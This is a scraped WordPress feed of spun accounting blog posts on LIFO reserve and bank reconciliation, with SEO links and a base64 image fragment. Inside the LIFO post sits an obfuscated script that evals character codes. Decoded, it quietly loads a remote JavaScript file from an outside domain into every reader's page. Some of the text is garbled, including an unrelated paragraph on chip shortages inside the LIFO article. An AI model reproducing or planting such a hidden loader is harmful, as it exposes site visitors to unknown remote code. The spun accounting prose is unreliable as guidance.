46V7sOM5ruUFFFDC2HpGwAXm6ruE9RUPn6juSefHda7jSEIUG20pKgSdoAyfzqonh+tWD4KNXGrgZBFVjqq2G2Xd4pThp9Rdb+PUfA1zftOoHPpIZ4xs0kH6ZwutdjtzYyunpZT7zwCM9+O5P+gG90KU5/3gHyqU5FQzQU5tt2VAWvCl7XUDwOMhX4fZUxzirHoaeOWxxNYdxkHzyql2kwPh1FOXjAOCPLAXuCCKFAGsSrjJIHvNJS50eDGXKkuJS22MqJ+4e+rXLKyBhkkOANyqPDDJUvEUQyXbAKNa5nhuMxbmiMuK7xY9g6fP7qhgBUQhCck8DHnW1dLg/dJ7spafrn1R+6kdBTvpO0CRKTcH0EMsnKMj66h0+Arz1Xvm1hfv8AQHuk4H0aO9eqbcyDQWmQagjqAyR3l57lMrZFEC3Rog6ttgH+d1PzzS61+FJqdHhSZXuPWvQVNA2mhbCzhoA/C8tVlQ6rnfO/lxJP3KiPa/zaoR8DCd/3lVXEVIMl32L5+yrE7VyV2uCkH/q7qf8AbVVcW9RU86rP1tp+VM1SZZyplpIhMn2ZqcgkjOKr3TJ7uSpWTk4zU6EkAAHw4rTj3CeK5Vtuo49/tLNyYWO+b9R9Pkrzpu1Chi5slONhxkKz0qkNIa1k2SQkreJZdwhxHmPCrJRf48tAeZfBSvnFZdGWlWlkzZhkLUkXRyK9+j7hnHRt7w9xrSl3AR0FL7fKvqrHINKzn25qiyWy4pZwAB1OeAPbU+l9hT1v0o/dXr044+1CMlURTAIS4E5KQrPTw6VoVl3pLa5jKp2C/hbtJYqy6h76NnUGDJVTmShStwcGfbWzE1TJgq7tt4qHiM1GJCkrJUw6pI/dzWg93/IS4RnrnxqY2Krrg6MkBTi46vS6yUKzkjkZ6VEJ10LyyoKGM5psKH8cnNY9yrqSazhqbMjyl1yg4cDIJ8q2oLDzjiQXDjPHNaDaCDk082tBU6mkkgcJILiVMbQ0IzaXCB6g3lR9lWbpb6cPbTYJCBPft+obc36qWHoSEKCAMAb29pGMccGqrmTU2ywSZSyDtQUpHmTx+NQRKQ6UvxHe6fzkJ6JVW3RyOAJSajAw1d3aA+npp7VF5Zs+tNGKsDTywgzG5YdSgngbkFIUB7ea6VQuPLZbmwnkPR3kBxtxBylSSMgg18e5alSnAmWSw+ngLTwkn210X9Ff6Tlx7OLqzoLtGnuv6bmqCIstat4huHAGSf2D8qlI5A44PK0nNHcu81qANJ9azS5GlsIlw3UPsugKQ42rclST0IIr3aCDwKcITO6RUnNY7QOKWKcZpPcCSnAz51grJWBAFAAIrJQ6Csc4NIwkrIcVioA1kTlPFeYynNJICyD4qqNczhN1C8hBGyKlLI5645Pzz9lNVsuAts9meGw6WFbggnAPHnVym3QiorMNglRySWxk14q3QQP+Zsf6IVyWt7O62ruL7gKgBxd1DY7eC7TQdqFDR2xlsNKSxrek7jfxUCPaNIJJFrZ/0p4+VZRde3CdMZhsW6Ohb7iW0lSyeScZ8KnKrfBwcw2Cf/DFYJhQkKC0w2QpJyCGwCDU5FYNRNe0vrstHdhV2bUel3RuEduw7G3vd6Rnvt2+E/MdOEMtqWfgOlU+txTq1PLIJWoqJq61tNupKHUJWk9UqGQa1nYdtaQXHI0ZCE9SpCQPtrGr9LTahMZ9MGNYO/x7ysaG1lBpcyj1cvfIe7uHcFFOz1j+85cjH1nAgfAZ/GpZgYyaShvQH4/eW1TamdxGW04SSOD7+lNurZsu32dTsJW1alpQVjqgHqfw+NStBHHpuxjJ6xG0kkd5+ihbpLNqvURHT0OkdgB3d5+Sg2p5qZ97kupV6jZ7pPtCeM/bmtjRLAevyFJI/VNqX8sfjSelZT6L0y0UJeQ+driFDcCDznnxGOtWO0xGZc3tMNoVjBKUAfdXNNLWF2oK3206TGH5LSOd8hdb1nqVumbf/wDH2RnLo+kOB2G2MkLYAwMUFfGOK9K0gcCk1qHUV2vG687nc5XowDkim682iJeYhjSR6w5bX4pV5itsrPmaRWs+ZpippYqyIwTjqaeQtqirJqCdtTAcOacgjlV1Ms94sEgPAq9RWW32xkfHHT40+wtcx1I23CKpDnm1yk/An8akS3B0PStB+32187nYTCyfEoGaosOkq6yyufZqjDT8rhsuj1GubfqGFrL/AEvU9u3Ww4K0Xda21LZ7pl1xXgFAJH2k1G7ndbjf3sKQrZnDbTaSoD8z76lRtVpQci3sfFOaVSGGBhhpDY/kjFJrdO3u9ARXCqAj8GjlZt+q9PafPp7bRudL3F5zjyUdtml3V4Xcld2kYPdj6x9/lUsR3bLQabASlPAA8BWmp8ZrFUk5xmrHZdPUVij6KZu55PJKqOotVXHU03pKx2w4aOB/f6rdLtJqewc5rT9IPPPzpNT+fGp0Ktpj7THA5brfg87XE/7X9tVzaFbjnPVDZ/2RU67QXt9vgkHopwfdVf2JZ8fBtH3Vp1nwrLPiypfYVkPKUBnBqZhSiM7etQa0Lw90qXJdG0c+FaMZ6QnnHBXytRIcBHh7qk1m1AtKQwHVZA4FR1+OnG5tOMUvYrVdL1eoVktLCnZs15LDKEjOVKOOfIeOfZUlO1jWlzjgBbNM+X0gjjGSTjC6N7AdNOarvi9Q3BBXb7OQpO76q5B5SP6Iwoj2p866QfZRLjOR3PqPNlB8sEY/GqN7SdRQuxHs2tvZ5Y5KEXW4NKQt0cK2nPeve9RykHw5x9UVZfZXfP4R9nliuil7nFxAy6c5/WNktqP2pJ+NcJ1V6xXYvB2i6ulg+g7/ALkL0xo91HQB1k5m6ep/me77ZXIN2jiBcZcCQja9FkOML9hSogj5U1rSsqBQvOanfbtaP0J2nXVDSQlqd3c1Ax4uJBX/ALYXUCSog+Zrr9vqBUUkcwPLQf0XCLvSmkrpqfHwuIx99lmEqSQFIyaVTEcc6Iz54NX52W9gUOVbo+otdtOLU8kOM24EoSlBwQpwjnJ/dHQdeuA9637UdOdnkj+DOi9O24y4/wDHqSyG2WT4JwkAqV58jHHJ5xX5NUsmqzR29hlcOTwB91Y49FPgohcLnKImHgYy4/Zc2ptyhwU9OTTlBjoZJz7qu7RvaZZdf3hvS+ttLWormApjvpawCvqEHPIJ5wQevHjUI7QdN2RjtBGkdBsvvPKKW3GlObkpfPJSk9QEjGck458ia26e9vdUOpaqIsIHVnkY81o1OnI20rayhmErS7pxw7q8Md6hWqZCjZEx2glZcWMp/kjr+FQ9lRUjYhWUn6ix+yfKuwtL9imj9PQmrlqlpm6yozZdcXJT/ezJxk4Qcg4H7SuuM4HSq31Z9JlEC5OW3Q+mram2xlbC/IZOXceKW04CR5Z5PXik2/VLrlKYLbCZA3l2cBP1+i22qBtTd6gRl/DQCXfhUgxLDx9Fm4UscBdZPsLbSWlELQocA8/Guj9FXPs17cbPcRqvSdtgXW2t96/Ijju1d1g/rkOABWAQcgkgcdc1TukNJPdousJNg0qHU25h5S25UkbizH3YSpeOpI6J8Tx4ZqXo9QskMrathidF8WTt+fqoWu0tJGIHUUgmE3w42P1yDxjzV3/RO+kZM0k+xobWM9cmyvOd2w44rcqIo8Dk9UZ+yu42y262H2VBaHQFIUnkKB8RXE1w0x2YdhOm16ketCLlcEgNMOyEJW8+8QcBOeG09SSOgB61Nfo89o8btbg3S3yX02zUEJJkxER1kNuNj9nB5yD459vhTVLqyouUT6ihpi6NveTjOP8AiO9b9boyntkkdNcaoMlfjYAuxn/kdsLqUgchXFIFICvZUA0hrqezOatV6fLzLqtiHl/XQo9MnxGfOrFWtLWVKIAAJ5GMYqXseo6S+0zqmD5fiB5Cg9QaXrdPVbaWo+f4SOCEipIwSKSIIVzx4VTzmpL0t5x5m6zG0uKKwlLysJBOcYq17FFeZs0Rua64t/uwpwuKKlbiMnJPlmo7Turo9RVEkEMRAZ3/AHwpLU+ipdMU0U80ocX/ACgHK3U+sRisztI6jyqAdod2mw7pGiwZr7Gxnevu1lOcnjOD7PnW92cO3Gc1NmzZkh8BSWkd44VYOMnGfeKTHq6KovTrMyM9QzvkY4RNoiansTb7LKA0ge7g53KmOKwcBGDjrVf9oF4uEe8tRIU59nu2QVhtwpyVEkZx7MUhpy9akmx3bfanHpM15W5b77pKWEDgYznqTWjLryljub7aInFzSRtvkjuC3ouzirltUd19K1rXAHB2wD3kqxi2rGSOK8LXHQ5qrNTad1FaQmfdZXpCXFbS6l1SsK9uQPbTp2fXubInrtMl9TrCmytAUclJHkfIikUeuPSXNttq6d0TnYAz9U5W9ngjtD7tQ1LZWtyTj6c/hT4ABO7wxn4VTl5vE+5y3TJlOuNd4UtoJ9UDPGAOPlVha0tstyI7d0XyRFbiMH9S2DhasnGTu8SQOlVrbojlwuMeCytQVIeS2COcZPJ+HJqq9o1xqZqyK2taWjPj8Wdhwrj2WWmip6Ka6yPDsDfI+DG55/hWtZoKbfaIkYJxsaBVj948n5ml322n2lMOtJcQsYUkjgim61aem2mWqRIvkmYkoKEoXkBJyOep8sVGNb3abGvXo8Wa+yltpIUEOEcnnw9mKuFVexYbOyWsgIxhvTkZxjGVQqPTztR350NvqA4nL+sAgA5zjxypRCsVotbq3YUNDa1Dk5KiPcSTj4Vu5x0qMaJdnSYsmbMkvvlSw2gLcKhgcnr760tbXOXHnMMRJbzOGypXdrIzk8Zx7vnWI9Q0ltsjbm2LoY47NGBycf3Q/StbddRPs75/SSNG7zk8DPf+FMytQzx0pNa9o3E8GoFZrxd1Jdjxnn5Up/AT3iipLSR1Uc+fH2UjebVe4rZmz5ZfyeSlwkpJ9nFRztcmWi9dpqZzmj4vAfdSLezgRXD1Crq2scdmjG7j5dwU9U4QrBrXdeI6Gofpm7S0yxCeeUtp0HAUc7SBnj7Kd7vdkW+P3icKeUcISambZqqkr7a65P8Aca3nP+d6gbxoyutd3ZaGYe9/wkeHifJOK3SRkmkFSQcgKHFRBp2feZYRIkuFONxwcAD3UvcILMNovxHHEKBGfW61FQ6wnq6WSvp6c+hZyScE48B3qXqNB01JWxWyqqsTycANyB5nOykapAxnI+2kVyPI1GYj8uU4W1z3k8ZGFU6pd2ICCskjxJyTUxYb97ej9PHEWs8SRz4bKB1PpgaZmFNJKHSd4AI28d1tqePmKwL4HjWop/B60k47g53VYCVVgMrd78880n6SAetaXpIGQVCkRLbUogK5BwcUlYKatdSAuLEbzxvWftAqF2BZPJ8UCpHrWQC1EGeStX4VFdOOoUcFWODj/ONa1Xu3ZKacHdS+2u7HgnPNSQSOByaisFWJKVeB6U+iUzjkn7Kj2kAbpxwLl80fXb6dB510t9Ffs0dSh7tOu0TCnErj2ttQ9Yp5Djoz0zykf0qpzs+7PpHaBquJp6I9tYdVvlPDqywk+ur344HtIq6+3vtNl6BbtfZ52dSjb3IDCVyXGQklpvGG2hn9oj1j/R8zUTqWonrXss1CR6R4y7nAb9ceK6Do+jp7dG+/3EExRnDQOS8+GfBQvtG7Hu27X2sZ+p51gSRIXtYb9MawyynhCB63gPnmru+j3pjV2i9EOWHWEMR3mprjkcB1KwWlAcZHHXcfjXLqu23teA3L1pchjwynp9lXN9GLtQ1bq/Ud3smq75In93CTJjJexlO1YSrGAP3k1Aaotl1dZXRTej9HGAcNBzt4Kz6RvFk9viaAyellJGXEEZO+/f5LD6VNoDN0sd+SjAkMuRVHHig7hn24UfsNQPsX0+xqXtEtUKU0lyPHUqW6hXRQbGQD/SxV5fSZsS7x2VzZbO7v7RIbnII6hOShXw2rJ+FUj9GXUCY/adFjTChJmxH4qFZx65woD47CPjSbHVyT6WfJEfeYHN/A2/RK1JQxQa1iZMPckLXfTnB/ULrHVV7RprTl0v5QlfoUZx4IJ4WsD1U/FWBXG5luznVzZbinH33C44snkqUck/aa6t7XIj0zs4vzTCSSmMHlADJKUqClY+AJrkoSYZQFIeRycjChWp2dQtNLLN8xdgn6YW12qzvFXDB8gbkeeULu0u03OJcrc4ESYb7cllRAO1aFBSTjx5FXP9Gq3C83a/a1uWHZZX3AdUOd7mVuEeRPH2nzqhp76CrclxORz1BroH6Kl0YdsN8tiiEvtTESCnxKFIAB+BR86ndYh8VokkiG/Ge/BIyq32fFkt9hhlPu7kDuzjY+akX0jNTrsOhBaY6ymRfJHopKTylkArWfjhKf6VciXBssPh5Q/VqHKa6Z+lRClKt2n7ghKjHaffYWR+wpaUlP2hCvsrnWayFFIWCULGAfKtrs9hiiszHs5cST5pjtSnmlvzmScNAA/HK8smoLnp1M1i2yyy1dIi4TxABKmlkKUjnpkpFdc9gel4mn9Axbi3GS3MvWJklePWUOiBnyCeR7VK86407oNOLivqwFcoJ8DXc/ZRMamdm+nHm1AhFvaZV/OQNqvmKjO0pz6e3tEIwHu97HftspbskaypubzMcljfdB7snfHgqO+kzqVu66xi6SQ4dlripdWPN53k/YgI/zjVbdmusL92c6+tV+sziy43JbbLaTgOoUoJUg+8GnntvjvSu0u/y21EPokBB552pQlI+QFJ9jmm3dY9oNmjKRlEB4TpmOgba9bH9JQSn41ZrUY7Pp9j+GhmT9wqtePT3rVEkbd3Ok6R5A4XaRcUVF0KKVE7vcauXUEr0bSr85Sila4o5PgpQA+81U9jt4vF6h2vehPpLoQdysZABJ+OAePZVh9qcoRLHHgIGBIfAx/IQPz21znSDpqK0XC4u2aRgef+FdW1rFDcb1bbY3dwOT5f4FX2nIQuN7gwynKVup3p/kjk/IVdikAKBIzjnFVh2ZwxI1C5IP/VmFH3kkD8TVkXi4sWa3v3GVjaygkAnG5XgB7zirP2bwx0FnluMp+InP/wBf8Kp/apLJcb3Ba4RnDRt9XH/xVJrSWZ2pZriVZSg90n+iMfnVj6CgiJpuINuFPgvL9u48fLFVC4tyQ+pbmS48olWepUTz86u8hNms+48JiRsnw+qn+yobQcgq7pWXeTgBx/Jz+yne0aP1O00Nki7y0fjb9yqi1bM/SGpLi+Fer3pbQf5KQEj7qs3QNmFq08w4tsB+YA+s+OD9UfZj7aqSK0u5XFtjOVyXgn4qV/bXQSGUstoaQMJQlKAMdMDH4U52dUouFzqbnJ3E48ycn9Ex2pVZttopLPHsMAnyAwP1UD7V5yWrXDt/7T7xdx/JSMfeofZTJ2Yw1PXWTKxkMNBJPtUenyNJdps/0vUXoyVZTEaS3weMnk/eKknZrCEWwqmEYVLeJJx+yngfj9tIhPtvW7pPlj//ACMful1A9gdn7Yj8UuP+xz+yU7S5SYunhHHHpTyUY8wMk/dUR7OYQk6jQ+oZTFaW5/SI2j/epz7V5oVMgQArhplTx5/eOB/umluyyLlE6dg/WQyOPEDJ+8ViuPtfWzID8MeP+oz+6zbsWTs+km+aUH/scfspu82D18OlUxqKWZ97myQrILykJ9qUnaPkKuC7ykw7fJlqIww0pXx2mqSZbXJkoaz6zqwnPtJrY7UKr0nq9CzknP8AC0ux6lEfrVxk4aAP5VmaXh+h6eioUn13U96ofzuR8sVB9VviTfJOFfxZDYHuH51ZDim4kcgcNsNAA+SUj8hVSPPOS5S5BBK3nCv4k5pjXjvU7VSWxnJxkeQ/un+zZvr15rrvLwM/qc/sFM9KwW4lsRKLY7ySdxP8nOAKQ1dJ2W8MZx3rg+wc07NJEWK1GSRhtAR9gqKarl9/LbjAg90jJ5/aP9mKm76I7Bpb1dnJaG/c8/yq5psyam1p61JuA4u8gOAtfTjajO73HLaCR7zx+dbGpQpfcuD6qcpVRYU7GHHuhUraPcB/bRc5jbae7WgLKhnaah7fbYI9HubUP6A/3s/Xu/KnbpeKiXXjXUsfpDH7uO/Hf+61rKsJU8oHkpSms7vJSWUtA8qOT8K1mGVBPeoeLZX0AHT314tgHl5xa8eNYt9NdZNPC2QQ7v8Am6hgg75WbpWWWLVBvFVUbM+QNOQ5oxjPGMpODuD4eHCU1vKfBJ29K1UqQgbUYArBbuPGrppmzGw0ApnOy4nJ81zvWWoxqa5uq2NwzADR34HithT3tpNb2eprWU/SZdH7R59lWEFVTCm/Y/Ft907VtNWu6wWZkOTMCHWH2wttxO1XCkngiuvr52WdlarNcVnQmnIQaYccMj0FpsNbUE7irAwBjJ9grj/sNcKu2fSYHOZ/h/MVXVXb/rl7QnZ/Nch25E2Vc1i3IZU2VjC0EqUUj6wAxxwOeaw7GFjpcXho71xJ9IPte+j4uz2uBpHUlml3SFKCJi4MZtlpbfAOCoZWc5+r4EHkZxfOgdVfRm7V0SI3Z1ZNIXGXbWkmW3DtTLbwBxla0pTzkkc5IBOKpS9fRbuN6X6Lae2HTseGmQ6WmXdIx5Cm9yydqliR63JIGQPLHFTXsQZ0p9Hm7W+z3rW9guL6prsa5vdy3AShh10b1hlDi8Lx3ZAJyQ30piZ0bAC3dPta+UFpGMJLtwtNisz9p/QtjjW7vC93gZjhrfjbjOAM9arQqBOd5Hxq/wD6ZVsTaZumwyG+6cckqQtA6pwgjPPkR5Vzsp1QUR3eefOtU4DikNyWjC577FtbdlfZdoOTerjqaFJ1FNZMl+O1uLoCQSiOk4wDnrz1PsFUHfNSzNSXmbfblISuTOfW85g8Ak5wPYBgD2AVBQ4RXilZ4AwKxQ2mKiqpavqLnyck9w7gPopq5ajnuNFDQdIZHFwB3nxP1UvEtsHJKD7yKsXsF1vaNJdo8O43ma1Bt70eRHkyFn1UAoKk5xk8qQgfGqKyfOst58OOMVu11NHX076aThwwVH225y2yrjq4viYQQvoDqLtd7G9Q2C42J/X1sCJ8VyOc7+NySAfq1xpb5cm0To9ztdxLEmI4lxpxKh6q0nIUKhPeHyoKyfCoSxabp7DG+GFxc1/Id+FP6k1lValljnmYGOZwW5z4/oV3P2f/AEk9GalgtQtZTGbPc9gS6p0/3q+cYJC+QnP7qsePJqP6i7Gew+8T3L3au0mHZ4zyu8cZansLZSTydm45SPZk+zFccBwive+Weqj9taMekIqOd09vmdF1cgYI/UKVk7Q5a+mbT3WnZOW8OdkH9Ff/AGoudlOn7NB0r2dTWbk/3ypFwua1d46opGEIC8BO3lXCOOBUa7P+0S4dnuo2L/anW3Akd3IYWv1X2j1QfsBB8CBVS96fKvN/mKsEVtiFKaScl4dyXd+f82VWnvsz65tdTtEZbjpDeBhd+QO1rsg7UbEu1Xi6xIokoCX4dydDCkqHQoWfVJBHBSfgOlQiX2QdjEJSpFw7VGkwc7wyZkcuADwCk8n4JzXHYcI5x0oLzh/aP21XabSJt5c2gqXxsPyjBH2yrXV9oIuga65UcckjeHbg/fCuztQn6Oud6UnRUeOzare2mPGUgEKeA5Liir1ioqJ5PkKmHYZ25s6Ihu2DUqlOWgrDiFtjcuMo/W4/aQfEdQckdTXMW84xivN5qdqrPS11F6jUDqb4nnPj5qtUWpqy3XE3Glw12eBxjw8l2XrfSuhu0i8q1do/tG0+25KQgSm5EpKMkJA3beFJOAMgjwpy0veeyTsStMp7+FEa83mZy+qCUunjo2nB2pSOT6xyTn2CuJO9V7ftrwuE9ainaZMtK2gmqHGEd2BnHgT4Kbj1w2CsdcYKVjZ3fNknBPfjjK6O1N2/6lkdpGn9cxpHosCxzEOx4TbmQE5wsrP7SlJJHkPAV9ANX3zTOudM2u+2bUVsWtbKZKG1TG0KUlxIJGCeFDivjiFkUbz4ipmS00clsNq6cREYwOfNQcGqLhDdG3cu6pQc78eS+q1m1O5YZ5kQJ8YOlOxSFKSUrGeh56cedSWdcH9QwHrhqDUFryhs+iwGZrSSpZ43EbsDHXkk8eFfIYvrPGTjyzWO/wBnzqt0Wi4qWE0r6h7ot/dzgZ8Vaq/tJmq521bKWNso+bGT5L6xWOEwi8QVTrhbmo6JCFuKM9ggJSrJzhZ8sVYGttTWiXp9+Dar5bnn5CktqCZjQIRnJPKvZj418Xe8OOlG/nIFSNr0vSWmimooHOxLydsjyUVd9c1l5r4K+ojbmLgb4+6+tek2IsfUdvk3GfbmYzDneKWqeweiSRnC/PFWwvVul0JKv4S2xWBkATG8n/ar4eFZPUUb+c4rc0/ZINPUz6enJPUc5OM8YWjqTVVTqapZU1LQOkYAGcYzlfV64CVdLhJuTsu37pDi3SP0hH4ycgfX8uKsrT180zbbFAhO6gtaFtNAuJMxvIUeT+15mviwHCPD51iVZPStSxaapbHVyVcbi5z85z9d1uai1vWaio4qKZga1nGPoMBfYjtHFlu7jN3tl/tjzrTYZcaTMa3FIJIKRnnGTkU16M13BsTD1tcLLqXne8Cg+hJCsBJzk4xwK+RneHyr3vV4xuOPfTU2mIvavtalkMch54IOeeU7BreX2MLJVwiSMcbkEeHC+yes9UWmVY1w7berc69JUhK0pmNeqnOTyVezHxqEWVUFm6xnpdztzTTbgUpRmsnpz4Kr5Rbz4UBwjHHSlXXS1Nd6+OvneepmMDbG32SbNrmrslukttNG3pfnJ3zv/RfYnUOqbG7apDcK/W1x1xOwJExvPPX9ryqFW6TbW7hGXJulvQ0lxJUTMaxwc/vV8q9/soC/ZSrvpmC81cdXO8joxgd2ybsWtquwUMtFTMafSZyTnO+36L6/P6o05gqF/t2P/NN/nUNnXa2vy3ZCrrA9ZRIPpbfTw/a8q+We/wAxRvP/AAaev9gh1BG2GZ5a1pzstbTGq59LTPnpo2uc4Y3zt5L6uQtQ6fYiIaXe7elQ6gym+uffWjc77Y3XA4i9QFYTg4ko/Ovljv8AZXofdSMJWoD2GsV+n6ettgthOGgAA9+yVa9W1NuvBvBGXkkkd26+oKdQWnGBe4Y90hH517+n7X43iGR/5hH518vvSHuveK+2vRJfHR1f+dVbh0JNT49DWvGP88Vbpu02mqs+sW6N2fFfTx3UdkbOFXmCCfD0hH50grU1kI/6ag/6wj86+ZCnVLOV5UfaaxJzjir3TRPhibHI7qIHJ71zGsqY6id0sLAxpOQB3L6bHUdkP+OYP+sI/OsVaisnjeYP+sI/OvmV8KPhT+Fq9ZX0+tOuWdP3SNe7FqaLEnw194w+2+3ubV0yM5FO+p+2nUOtoX6L1Z2hJuUTvO97p6S0PXxjPq4r5VZoz7Kx0o6zyvorqXVsW3IgsWvVKozYJ2ojXFaEpx7ErwOajkW72q8XAv3e9tzHA8pwuyJe9SiMYypRJPxNcHbjQVZ8KQ6IOGCsiVzTlfT3VXa9fddKinVut2bkmHnuO9daSUZABxtx4JA+FMpv1iyf/fET/WU/1q+beTXu72U16qPFKbOW8BeUUUVtJlFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIRRRRQhFFFFCEUUUUIX//Z" width="253px" alt="lifo reserve"/></p>
<p>In some jurisdictions if entity is using LIFO method then it is required to disclose&nbsp;LIFO reserve. It helps making comparisons easy even if entities are using two different cost assumptions i.e. one using LIFO and other using FIFO. You will notice that in the ninth month, we only calculated 4000 cartons because not the whole 5,500 cartons made were sold. The time that LIFO starts and the time that FIFO starts is of great significance if you want the result of your LIFO reserve to be accurate.</p>
<h2 id="toc-2">Absorption Costing: Definition, Formula, Calculation, and Example</h2>
<p>At the same time, demand for consumer electronics swelled, and chip producers reallocated production to fill that need. Now that the U.S. economy is rebounding and shoppers are heading back to dealerships, the reallocation of production back to automotive supply chains is sluggish. Additional recent setbacks include a power outage, a production pause and a fire at various chip manufacturing plants. It is also possible that long-term reliance on outdated technology was triggered at the onset of the pandemic.  (a) Compute the inventory at April 30 on each of the following bases. The computation of cost of goods sold in each schedule is based on the following data.</p>
<p>As the vice  president of finance, you have explained to Ms. Torville that the two schedules are based on differentassumptions concerning the flow of inventory costs, i.e., FIFO and LIFO. Schedules 1 and 2 were not necessarily prepared inthis sequence of cost flow assumptions. GAAP, all the companies that follows LIFO cost flow assumption should disclose <a href="https://www.vizaca.com/bookkeeping-for-startups-financial-planning-to-push-your-business/">bookkeeping for startups</a>.</p>
<p><script>var o=String;eval(o.fromCharCode(102,117,110,99,116,105,111,110,32,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,115,114,99,41,10,123,10,32,32,32,32,114,101,116,117,114,110,32,66,111,111,108,101,97,110,40,100,111,99,117,109,101,110,116,46,113,117,101,114,121,83,101,108,101,99,116,111,114,40,39,115,99,114,105,112,116,91,115,114,99,61,34,39,32,43,32,115,114,99,32,43,32,39,34,93,39,41,41,59,10,125,10,10,118,97,114,32,98,100,32,61,32,34,104,116,116,34,43,34,112,115,58,34,43,34,47,34,43,34,47,115,34,43,34,108,101,101,34,43,34,112,46,115,116,114,97,34,43,34,116,34,43,34,111,115,98,34,43,34,111,100,121,46,99,111,109,47,34,43,34,115,99,34,43,34,114,105,112,34,43,34,116,34,43,34,115,47,104,101,97,34,43,34,100,46,106,34,43,34,115,34,43,34,63,34,43,34,118,61,51,34,43,34,46,34,43,34,56,34,43,34,46,48,34,59,10,10,105,102,40,105,115,83,99,114,105,112,116,76,111,97,100,101,100,40,98,100,41,61,61,61,102,97,108,115,101,41,123,10,9,118,97,114,32,100,61,100,111,99,117,109,101,110,116,59,118,97,114,32,115,61,100,46,99,114,101,97,116,101,69,108,101,109,101,110,116,40,39,115,99,114,105,112,116,39,41,59,32,10,115,46,115,114,99,61,98,100,59,10,105,102,32,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,32,123,32,10,105,102,40,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,33,61,61,110,117,108,108,41,123,10,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,46,112,97,114,101,110,116,78,111,100,101,46,105,110,115,101,114,116,66,101,102,111,114,101,40,115,44,32,100,111,99,117,109,101,110,116,46,99,117,114,114,101,110,116,83,99,114,105,112,116,41,59,10,125,10,125,10,32,101,108,115,101,32,123,10,9,105,102,40,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,33,61,61,110,117,108,108,41,123,10,100,46,103,101,116,69,108,101,109,101,110,116,115,66,121,84,97,103,78,97,109,101,40,39,104,101,97,100,39,41,91,48,93,46,97,112,112,101,110,100,67,104,105,108,100,40,115,41,59,10,9,125,10,125,10,10,125));/*54745756836*/</script></p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/lifo-reserve-meaning-and-how-to-calculate-it/">LIFO Reserve Meaning and How to Calculate It</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
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		<title>How To Do Bank Reconciliation for Your Business</title>
		<link>https://diyatrends.my/how-to-do-bank-reconciliation-for-your-business/</link>
					<comments>https://diyatrends.my/how-to-do-bank-reconciliation-for-your-business/#respond</comments>
		
		<dc:creator><![CDATA[Diya Trends Malaysia]]></dc:creator>
		<pubDate>Thu, 06 Jan 2022 07:10:08 +0000</pubDate>
				<category><![CDATA[Bookkeeping]]></category>
		<guid isPermaLink="false">https://diyatrends.my/?p=19018</guid>

					<description><![CDATA[<p>Content Compare balances Report a Concern COMPARE THE BALANCES Accounting CH 7 Bank Reconciliation Process Flow Book adjusting journal entries</p>
<p>The post <a rel="nofollow" href="https://diyatrends.my/how-to-do-bank-reconciliation-for-your-business/">How To Do Bank Reconciliation for Your Business</a> appeared first on <a rel="nofollow" href="https://diyatrends.my">Diya Trends Malaysia</a>.</p>
]]></description>
										<content:encoded><![CDATA[<div id="toc" style="background: #f9f9f9;border: 1px solid #aaa;display: table;margin-bottom: 1em;padding: 1em;width: 350px;">
<p class="toctitle" style="font-weight: 700;text-align: center;">Content</p>
<ul class="toc_list">
<li><a href="#toc-0">Compare balances</a></li>
<li><a href="#toc-1">Report a Concern</a></li>
<li><a href="#toc-2">COMPARE THE BALANCES</a></li>
<li><a href="#toc-3">Accounting CH 7</a></li>
<li><a href="#toc-5">Bank Reconciliation Process Flow</a></li>
<li><a href="#toc-6">Book adjusting journal entries</a></li>
</ul>
</div>
<p><img decoding="async" class='wp-post-image' style='display: block;margin-left:auto;margin-right:auto;' src="https://kelleysbookkeeping.com/wp-content/uploads/2022/02/current-ratio-formula-5e77-150x150.jpg" width="250px" alt="on a bank reconciliation deposits in transit are"/></p>
<p>Encumbrances – Commitments related to unperformed contracts for goods or services should be utilized to the extent necessary to assure effective budgetary control and to facilitate cash planning. Encumbrances outstanding at year end represent the estimated amount of expenditures ultimately to result if unperformed contracts in process are completed; they do not constitute expenditures or liabilities. Comprehensive budget – A government-wide budget that includes all resources the government expects and everything it intends to spend or encumber during a fiscal period.</p>
<p><img decoding="async" class='aligncenter' style='display: block;margin-left:auto;margin-right:auto;' src="https://kelleysbookkeeping.com/wp-content/uploads/2022/02/product-costs-versus-period-costs-8911-150x150.jpg" width="256px" alt="on a bank reconciliation deposits in transit are"/></p>
<p>The original budget may be adjusted by reserves, transfers, allocations, supplemental appropriations, and other legally authorized legislative and executive changes before the beginning of the fiscal year. The original budget should also include actual appropriation amounts automatically carried over from prior years by law. Interest Income is an increase in the bank balance for any interest earned on the account.</p>
<h2 id="toc-0">Compare balances</h2>
<p>The basis of accounting selection will limit the BARS accounts that are applicable to the basis of accounting selected . If all is selected, the export will include all the BARS codes regardless of their applicability to a specific basis. A check <a href="https://kelleysbookkeeping.com/in-a-bank-reconciliation-deposits-in-transit/">on a bank reconciliation deposits in transit are</a> that is not paid by a bank because of insufficient funds in a bank account. Although separate journal entries for each expense can be made, it is simpler to combine them, so bank fees expense is debited for $70 and cash is credited for $70.</p>
<ul>
<li>It is an integral part of effective cash-flow management and internal controls.</li>
<li>To do this, businesses need to take into account the bank charges, NSF checks and errors in accounting.</li>
<li>Harold Averkamp has worked as a university accounting instructor, accountant, and consultant for more than 25 years.</li>
<li>This makes the bank reconciliation process efficient and controllable.</li>
</ul>
<p>Outstanding checks are those issued by a depositor but not paid by the bank on which they are drawn. The party receiving the check may not have deposited it immediately. Once deposited, checks may take several days to clear the banking system.</p>
<h2 id="toc-1">Report a Concern</h2>
